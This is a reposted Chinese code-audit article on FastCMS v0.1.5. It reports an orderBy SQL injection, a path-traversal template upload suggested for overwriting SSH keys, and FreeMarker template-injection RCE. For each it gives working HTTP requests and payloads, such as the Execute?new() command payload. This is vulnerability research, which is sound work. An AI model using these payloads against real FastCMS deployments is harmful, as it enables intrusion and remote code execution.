FastcmsV0.1.5代码审计

admin 2026-01-31 02:10:31 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文对FastcmsV0.1.5进行代码审计,发现三个高危漏洞。一是文章列表接口orderBy参数存在SQL注入,未预编译处理;二是模板上传功能未对文件名进行路径遍历检查,导致任意文件上传,可覆盖SSH密钥;三是后台模板编辑功能未限制Freemarker危险类,存在模板注入漏洞,可导致RCE。建议开发者尽快修复并升级依赖版本。 综合评分: 90 文章分类: 代码审计,漏洞分析,WEB安全,漏洞POC


cover_image

FastcmsV0.1.5代码审计

原创

flowersboy flowersboy

hutututu

2026年1月30日 15:03 江苏

FastcmsV0.1.5代码审计

作者:1357685890793137

https://xz.aliyun.com/news/91367

文章转载自 先知社区

介绍

  • fastcms内置一套完整的CMS建站系统,同时也支持博客,论坛,商城等功能

  • fastcms完全融入微信生态,是一切微信营销插件的基石

  • fastcms可以基于jar, zip包动态热插拔

  • fastcms基于SpringBoot进行插件式开发,具有极强的扩展性,让你彻底从臃肿的项目中解脱出来

源码:https://gitee.com/xjd2020/fastcms/tree/v0.1.5-release

导入sql数据,修改配置文件src/main/resources/application-prod.yml

漏洞1:sql注入

pom.xml依赖mybatis,对于mybatis审计,全局搜索${#{

ArticleCommentMapper.xml中多次引用,搜索下pageArticleComment被调用位置,到ArticleCommentMapper.java,三处用法

跟进pageArticleComment,到ArticleCommentServiceImpl.java,共三处用法

跟进第一处到ArticleController.java

使用queryWrapper构建SQl,会对参数:author、content、isParent进行预编译绑定,不存在SQL注入

第二处到ArticleCommentApi.java

与第一处一样,使用queryWrapper构建SQl

来到第三处ArticleCommentApi.java

articleId参数为Long型:非法字符串(如 1 or 1=1)会直接400参数转换失败,无法以字符串形式进入SQL层

继续看其他xml文件

在此位置中

查询调用位置,发现ArticleApi.java处调用并使用orderby,而Mybatis中orderby语句无法预编译处理

文章列表处抓包

添加参数orderBy

GET /fastcms/api/client/article/list?pageNum=1&pageSize=10&title=&orderBy=1* HTTP/1.1
Host: localhost:8080
sec-ch-ua-platform: "Windows"
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoiIiwidXNlcklkIjoyLCJ1c2VybmFtZSI6InRlc3QiLCJleHAiOjE3NjkwMjkxNDh9.YziRfkM-Z8G7qc9isj3Xewlp83DNc3aQiU2Yg4oBz0o
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Chromium";v="143", "Not A(Brand";v="24"
ClientId: f3757f74316145ababe591c3da609e2c
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/fastcms.html
Accept-Encoding: gzip, deflate, br
Cookie: Hm_lvt_1040d081eea13b44d84a4af639640d51=1768888115; Hm_lvt_f8cddee34ca21f05373a9388cfdd798b=1769010004; Hm_lpvt_f8cddee34ca21f05373a9388cfdd798b=1769010004; HMACCOUNT=16B5D6F8F848312F
Connection: keep-alive

成功sql注入

漏洞2:文件上传至获取SSH权限

搜索危险函数

如果dirName参数为空或者存在..路径遍历符号就返回错误

再往后就是获取路径

创建file对象,templatePath路径+文件名

漏洞点在于拼接原文件名

跟进FileUtils函数,看传限制后缀规则

public static String getSuffix(String fileName) {
    if (fileName != null && fileName.contains(".")) {
        return fileName.substring(fileName.lastIndexOf("."));  // 漏洞:只取最后一个点之后的部分,可被双重扩展名绕过
    }
    return "";  // 漏洞:无扩展名返回空字符串
}
file.getOriginalFilename()    // 直接使用原始文件名,未做路径遍历检查,未做规范化处理

其他shell马无法解析,利用思路:linux中替换上级目录ssh密钥连接

例:前台找到上传点

成功跨目录上传

POST /fastcms/api/admin/template/files/upload HTTP/1.1
Host: localhost:8080
Accept: */*
sec-ch-ua: "Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"
Authorization: eyJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoiMSIsInVzZXJJZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsImV4cCI6MTc2OTA3MTMyNH0.MhFVYqU18OUuF10x1Ms3Hh1AhqEdSjpP1znfoy-mXOg
Sec-Fetch-Site: same-origin
Origin: http://localhost:8080
Accept-Encoding: gzip, deflate, br, zstd
sec-ch-ua-mobile: ?0
Sec-Fetch-Dest: empty
sec-ch-ua-platform: "Windows"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1NWIdAJQxBDi7HkA
Sec-Fetch-Mode: cors
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Referer: http://localhost:8080/fastcms.html
Content-Length: 469

------WebKitFormBoundary1NWIdAJQxBDi7HkA
Content-Disposition: form-data; name="dirName"

cms
------WebKitFormBoundary1NWIdAJQxBDi7HkA
Content-Disposition: form-data; name="files"; filename="../../../../../../xss.html"
Content-Type: text/html

<!DOCTYPE html>
<html>
&nbsp; &nbsp; <head>
&nbsp; &nbsp; &nbsp; &nbsp; <title></title>

&nbsp; &nbsp; &nbsp; &nbsp; <meta charset="utf-8">
&nbsp; &nbsp; &nbsp; &nbsp; <script type="text/javascript">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; alert("testxss");
&nbsp; &nbsp; &nbsp; &nbsp; </script>

&nbsp; &nbsp; </head>

&nbsp; &nbsp; <body>

&nbsp; &nbsp; </body>

</html>

------WebKitFormBoundary1NWIdAJQxBDi7HkA--

漏洞3:freemarker模板注入RCE

相关cve

  • CVE-2023-26307:Freemarker < 2.3.32 存在远程代码执行漏洞

  • CVE-2023-26308:XXE攻击漏洞

  • CVE-2021-25770:以前的模板注入漏洞

引用freemarker包,maven外部库版本2.3.31

搜索使用Freemarker模板引擎的代码template.process,存在引用,没有限制解析类函数

后台模板编辑界面index.html写入payload,保存

<#assign&nbsp;value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

前台刷新,成功执行命令


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:hutututu flowersboy flowersboy《FastcmsV0.1.5代码审计》

FastcmsV0.1.5代码审计 网络安全文章

FastcmsV0.1.5代码审计

文章总结: 本文对FastcmsV0.1.5进行代码审计,发现三个高危漏洞。一是文章列表接口orderBy参数存在SQL注入,未预编译处理;二是模板上传功能未对
评论:0   参与:  0